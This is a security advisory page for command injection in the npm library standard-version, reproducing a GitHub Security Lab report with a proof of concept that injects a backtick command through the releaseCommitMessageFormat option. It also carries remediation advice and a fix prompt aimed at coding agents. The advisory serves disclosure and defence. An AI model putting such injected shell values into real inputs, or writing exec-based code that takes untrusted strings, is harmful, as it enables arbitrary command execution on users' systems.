# GHSA-7xcx-6wjh-7xp2: Command Injection in standard-version

> Attackers can execute arbitrary commands via the releaseCommitMessageFormat parameter in the standard-version library.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Not stated
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 13 Jul 2020

## What is GHSA-7xcx-6wjh-7xp2?

GHSA-7xcx-6wjh-7xp2 is a command injection vulnerability in standard-version, published on 13 Jul 2020. 

### Official description

# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`

The [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [standard-version](https://github.com/conventional-changelog/standard-version).

## Summary

The `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

## Product
Standard Version
 
## Tested Version
Commit [2f04ac8](https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9/)

## Details

### Issue 1: Command injection in `standardVersion`

The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:

```
npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"
```

Now create a file with the following contents:

```
var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');

const standardVersion = require('standard-version')

standardVersion({
  noVerify: true,
  infile: 'foo.txt',
  releaseCommitMessageFormat: "bla `touch exploit`"
})
```

and run it:

```
node test.js
```

Notice that a file named `exploit` has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:
[CVE-2020-7646](https://github.com/advisories/GHSA-m8xj-5v73-3hh8),
[CVE-2020-7614](https://github.com/advisories/GHSA-426h-24vj-qwxf),
[CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh),
[CVE-2019-10778](https://github.com/advisories/GHSA-4gp3-p7ph-x2jr),
[CVE-2019-10776](https://github.com/advisories/GHSA-84cm-v6jp-gjmr),
[CVE-2018-16462](https://github.com/advisories/GHSA-9jm3-5835-537m),
[CVE-2018-16461](https://github.com/advisories/GHSA-7g2w-6r25-2j7p),
[CVE-2018-16460](https://github.com/advisories/GHSA-cfhg-9x44-78h2),
[CVE-2018-13797](https://github.com/advisories/GHSA-pp57-mqmh-44h7),
[CVE-2018-3786](https://github.com/advisories/GHSA-c9j3-wqph-5xx9),
[CVE-2018-3772](https://github.com/advisories/GHSA-wjr4-2jgw-hmv8),
[CVE-2018-3746](https://github.com/advisories/GHSA-3pxp-6963-46r9),
[CVE-2017-16100](https://github.com/advisories/GHSA-jcw8-r9xm-32c6),
[CVE-2017-16042](https://github.com/advisories/GHSA-qh2h-chj9-jffq).

We have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project [here](https://lgtm.com/query/237522640229151035/).

#### Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

#### Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback) instead of [`child_process.exec`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback).

## Credit

This issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).

## Contact

You can contact the GHSL team at `securitylab@github.com`, please include `GHSL-2020-111` in any communication regarding this issue.

## Disclosure Policy

This report is subject to our [coordinated disclosure policy](https://securitylab.github.com/disclosures#policy).

## Which versions are affected by GHSA-7xcx-6wjh-7xp2?

2 open source packages ship an affected version, including standard-version.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `standard-version` | npm | All versions | 8.0.1 |
| `standard-version` | npm | All versions | 8.0.1 |

## How do I fix GHSA-7xcx-6wjh-7xp2?

Upgrade standard-version to 8.0.1 or later.

## Is GHSA-7xcx-6wjh-7xp2 being exploited?

There is no known exploitation of GHSA-7xcx-6wjh-7xp2 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-7xcx-6wjh-7xp2 and fix it if it is affected.

What it is: GHSA-7xcx-6wjh-7xp2 is a command injection vulnerability in standard-version, published on 13 Jul 2020. 
Exploitation: There is no known exploitation of GHSA-7xcx-6wjh-7xp2 in the wild and no public exploit code.

Affected packages and fixed versions:
- standard-version (npm): affected all versions; fixed in 8.0.1
- standard-version (npm): affected all versions; fixed in 8.0.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-7xcx-6wjh-7xp2/ (Markdown: https://insights.sbomify.com/GHSA-7xcx-6wjh-7xp2/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-7xcx-6wjh-7xp2

---
From sbomify Insights: https://insights.sbomify.com/GHSA-7xcx-6wjh-7xp2/
Summaries are generated and may contain mistakes; the official description above is the record.